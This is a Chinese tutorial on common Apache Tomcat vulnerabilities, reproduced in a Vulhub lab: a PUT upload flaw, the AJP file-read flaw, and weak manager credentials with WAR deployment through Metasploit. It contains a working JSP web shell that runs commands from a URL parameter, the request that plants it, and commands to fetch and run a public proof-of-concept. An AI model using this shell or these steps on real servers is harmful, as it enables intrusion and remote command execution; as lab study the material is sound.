iis服务器助手广告广告
返回顶部
首页 > 资讯 > 服务器 >中间件安全—Tomcat常见漏洞
  • 414
分享到

中间件安全—Tomcat常见漏洞

tomcat中间件web安全信息与通信服务器 2023-10-25 15:10:10 414人浏览 薄情痞子
摘要

中间件安全—Tomcat常见漏洞 1.Tomcat常见漏洞1.1.前言1.2.文件上传 (CVE-2017-12615)1.2.1.漏洞原理1.2.2.影响版本1.2.3.漏洞复现1.2.3.

中间件安全Tomcat常见漏洞

1.Tomcat常见漏洞

1.1.前言

  整个复现环境均使用Vulhub一键搭建漏洞测试靶场,Vulhub靶场:链接

1.2.文件上传 (CVE-2017-12615)

1.2.1.漏洞原理

  Tomcat配置文件/conf/WEB.xml 配置了可写(readonly=false),导致可以使用PUT方法上传任意文件,攻击者将精心构造的payload向服务器上传包含任意代码的 jsP 文件。之后,JSP 文件中的代码将能被服务器执行。
在这里插入图片描述

1.2.2.影响版本

  Apache Tomcat 7.0.0 – 7.0.81

1.2.3.漏洞复现

1.2.3.1.测试是否允许PUT

  这里修改请求方式为OPTioNS /xx Http/1.1,通过修改后发现允许PUT方法。
在这里插入图片描述

1.2.3.2.验证漏洞是否存在

  这里修改请求方式为:PUT /test.jsp/ HTTP/1.1,请求体为:<%out.print(“hacker”); %>,然后访问test.jsp。
在这里插入图片描述

1.2.3.3.访问test.jsp
URL:http:ip地址:端口/test.jsp

在这里插入图片描述

1.2.3.4.上传执行命令脚本

  修改请求头PUT /test.jsp/ HTTP/1.1,修改请求体。

请求体:<%    if("123".equals(request.getParameter("pwd"))){        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();        int a = -1;                  byte[] b = new byte[1024];                  out.print("
");                  while((a=in.read(b))!=-1){            out.println(new String(b));                  }        out.print("
"
); } %>

在这里插入图片描述

1.2.3.5.执行命令
http://ip地址:8080/test.jsp?&pwd=123&cmd=ls

在这里插入图片描述

1.3.文件包含漏洞(CVE-2020-1938)

1.3.1.漏洞原理

  Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell

1.3.2.影响版本

  Apache Tomcat 6
  Apache Tomcat 7 < 7.0.100
  Apache Tomcat 8 < 8.5.51
  Apache Tomcat 9 < 9.0.31
  开启了8009端口的ajp服务

1.3.3.漏洞复现

1.3.3.1.访问页面

  访问http://your-ip:8080即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat。
在这里插入图片描述

1.3.3.2.POC下载

  POC链接:链接
  当然你也可以在kali中使用命令进行下载,检测等,不过我这里由于网络原因一直下载不下来,我就用本机下载再上传虚拟机了。

命令:git clone https://GitHub.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi  cd CNVD-2020-10487-Tomcat-Ajp-lfi  python CNVD-2020-10487-Tomcat-Ajp-lfi.py    #py2环境  

在这里插入图片描述

1.3.3.3.POC验证

  这里查看8009端口下的web.xml文件

命令:Python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py IP地址 -p 8009 -f /WEB-INF/web.xml

在这里插入图片描述

1.4.弱口令&war远程部署

1.4.1.漏洞原理

  在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台。

1.4.2.影响版本

  全版本

1.4.3.漏洞复现

1.4.3.1.访问后台

  这里首先需要先访问后台管理。

http://ip地址:8080/manager/html

在这里插入图片描述

1.4.3.2.后台管理

  在后台有一个上传war包的地方,这里就是我们用来上传木马的地方,这里我没准备jsp马,我使用msf来进行操作吧。
在这里插入图片描述

1.4.3.3.进入模块

  进入msf里面的exploit/multi/http/tomcat_mgr_upload模块。
在这里插入图片描述

1.4.3.4.获取shell

  我这边由于使用云服务器,存在反弹的端口不通,可能被拦截了,所以就没有反弹回来。
在这里插入图片描述

来源地址:https://blog.csdn.net/weixin_44268918/article/details/129155293

--结束END--

本文标题: 中间件安全—Tomcat常见漏洞

本文链接: https://www.lsjlt.com/news/442565.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 中间件安全—Tomcat常见漏洞
    中间件安全—Tomcat常见漏洞 1.Tomcat常见漏洞1.1.前言1.2.文件上传 (CVE-2017-12615)1.2.1.漏洞原理1.2.2.影响版本1.2.3.漏洞复现1.2.3....
    99+
    2023-10-25
    tomcat 中间件 web安全 信息与通信 服务器
  • iis常见漏洞(中间件常见漏洞)
    目录 1.IIS 6.x 解析漏洞2. IIS 7.x 解析漏洞3. HTTP.SYS远程代码执行漏洞MS15-0344. IIS-PUT任意文件写入5. 短文件名漏洞 1.II...
    99+
    2023-09-02
    php 安全 服务器
  • Web常见安全漏洞有哪些
    本篇内容主要讲解“Web常见安全漏洞有哪些”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“Web常见安全漏洞有哪些”吧!1、什么是SQL注入?SQL注入,就是通过...
    99+
    2024-04-02
  • Solidity 合约安全,常见漏洞 (下篇)
    Solidity 合约安全,常见漏洞 (下篇) Solidity 合约安全,常见漏洞 (上篇) 不安全的随机数 目前不可能用区块链上的单一交易安全地产生随机数。区块链需要是完全确定的,否则分布式节点将无法达成关于状态的共识。因为它们是完全...
    99+
    2023-08-30
    安全 区块链 智能合约 安全威胁分析 web安全
  • PHP网站常见安全漏洞有哪些
    这篇“PHP网站常见安全漏洞有哪些”文章,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要参考一下,对于“PHP网站常见安全漏洞有哪些”,小编整理了以下知识点,请大家跟着小编的步伐一步一步的慢慢理解,接下来就让我们进入...
    99+
    2023-06-06
  • PHP Web应用程序中的常见安全漏洞
    PHP 是一种流行的服务器端脚本语言,用于开发动态 Web 应用程序。但是,与任何其他软件一样,PHP Web 应用程序也可能遭受安全攻击。在本文中,我们将讨论 PHP Web 应用程序中一些最常见的安全漏洞以及如何避免它们。1. SQL ...
    99+
    2023-10-23
    php
  • web应用常见的安全漏洞有哪些
    本篇内容介绍了“web应用常见的安全漏洞有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1.SQL 注...
    99+
    2024-04-02
  • ASP Web安全漏洞:您应该了解的5种最常见的漏洞
    ASP(Active Server Pages)是一种流行的 Web 开发技术,允许开发人员创建动态和交互式的 Web 应用程序。然而,ASP 应用程序也容易受到各种安全漏洞的攻击。这些漏洞可能允许攻击者访问敏感数据、破坏应用程序或在服...
    99+
    2024-02-07
    ASP Web安全 漏洞 防御
  • 服务器安全补丁:5个最常见的安全漏洞
    服务器安全补丁是软件或操作系统中已知安全漏洞的修复程序,旨在防止网络攻击者利用这些漏洞对服务器进行攻击。及时安装安全补丁对于保护服务器安全至关重要。 以下是五个最常见的服务器安全漏洞: 1. SQL注入漏洞 SQL注入漏洞允许攻击者通过...
    99+
    2024-02-27
    服务器安全补丁 安全漏洞 网络攻击 数据泄露 补丁安装
  • VUE Nuxt.js中间件安全指南:如何防止安全漏洞
    VUE Nuxt.js中间件位于应用程序和用户之间,在处理请求和响应时可能成为安全漏洞的切入点。因此,保护VUE Nuxt.js应用程序免受安全漏洞的影响非常重要。 1. 防止跨站脚本攻击(XSS) 跨站脚本攻击(XSS)是一种常见的安...
    99+
    2024-02-04
    VUE Nuxt.js 中间件 安全 跨站脚本攻击 请求伪造 安全标头 输入验证
  • 深入浅出带你学习IIS中间件常见漏洞
    前言 在渗透过程中我们经常会思考如何去进行渗透,假如给了我们一个有很多中间件的网站我们要如何进行渗透呢?于是本人准备写一些包含常见中间件漏洞攻击的总结,希望可以帮到大家在面临不同渗透环境时会有渗透思路...
    99+
    2023-09-13
    学习 中间件 php
  • 如何在PHP开发中避免常见的安全漏洞?
    如何在PHP开发中避免常见的安全漏洞?PHP是一种常用的服务器端脚本语言,广泛应用于Web开发。然而,由于其易用性和灵活性,PHP应用程序容易受到各种安全威胁。为了保护Web应用程序免受黑客攻击和数据泄露,开发者需要采取一些防范措施。下面是...
    99+
    2023-11-03
    安全漏洞 跨站脚本攻击 以防止SQL注入
  • IIS中间件漏洞
    IIS IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 IIS目前只适用于...
    99+
    2023-09-21
    windows php 中间件
  • ASP 重定向:避免常见错误和安全漏洞。
    ASP 重定向:避免常见错误和安全漏洞 ASP(Active Server Pages)是一种动态网页技术,允许开发人员在 HTML 页面中嵌入服务器端脚本。ASP 重定向是一种常见的技术,用于将用户重定向到另一个 URL。然而,如果不正确...
    99+
    2023-10-27
    重定向 打包 面试
  • 非常全面!PHP常见漏洞代码总结!
    本篇文章给大家带来了关于PHP漏洞的相关知识,其中主要给大家总结介绍PHP的常见漏洞代码都有哪些,非常全面详细,下面一起来看一下,希望对需要的朋友有所帮助。漏洞总结PHP 文件上传漏洞只验证MIME类型: 代码中验证了上传的MIME类型,绕...
    99+
    2023-05-14
    漏洞 php
  • Python开发注意事项:避免常见的安全漏洞
    Python作为一种简单易学的编程语言,被广泛应用于各类软件开发项目中。然而,随着互联网的发展和信息安全的重要性日益凸显,开发者们也越来越需要关注代码的安全性。本文将介绍一些在Python开发过程中需要注意的常见安全漏洞,并提供一些避免这些...
    99+
    2023-11-22
    sql注入 输入验证 跨站脚本攻击(XSS)
  • 常见的Web安全漏洞及测试方法是什么
    这篇文章主要讲解了“常见的Web安全漏洞及测试方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“常见的Web安全漏洞及测试方法是什么”吧!一、安全测试6项基本原则:认证:对认证的用户的...
    99+
    2023-06-05
  • 提高Linux服务器的安全性:常见安全漏洞和修复方法
    提高Linux服务器的安全性是确保服务器不易受到恶意攻击和未经授权的访问的重要措施之一。以下是一些常见的安全漏洞和修复方法:1. 更...
    99+
    2023-10-09
    Linux
  • 中间件漏洞(一)CVE-2013-4547(文件名逻辑漏洞)
    目录 1. 了解nginx的工作原理 2. 漏洞原理及举例分析 3. 前端php源码分析 4. 注入思路 5. 漏洞复现 5.1 上传文件并抓包分析  5.2 通过访问文件执行php  注意一点 6. 漏洞修复 1. 了解nginx的工...
    99+
    2023-09-30
    nginx php 运维
  • 美国服务器常见的网络安全漏洞有哪些
    美国服务器常见的网络安全漏洞有:1、美国服务器安装的操作系统没有进行安全配置;2、美国服务器没有对CGI程序代码进行审计考查;3、美国服务器遭遇拒绝服务攻击;4、采用了网络安全设备,因为操作不当导致美国服务器出现网络安全漏洞;5、缺少网络安...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作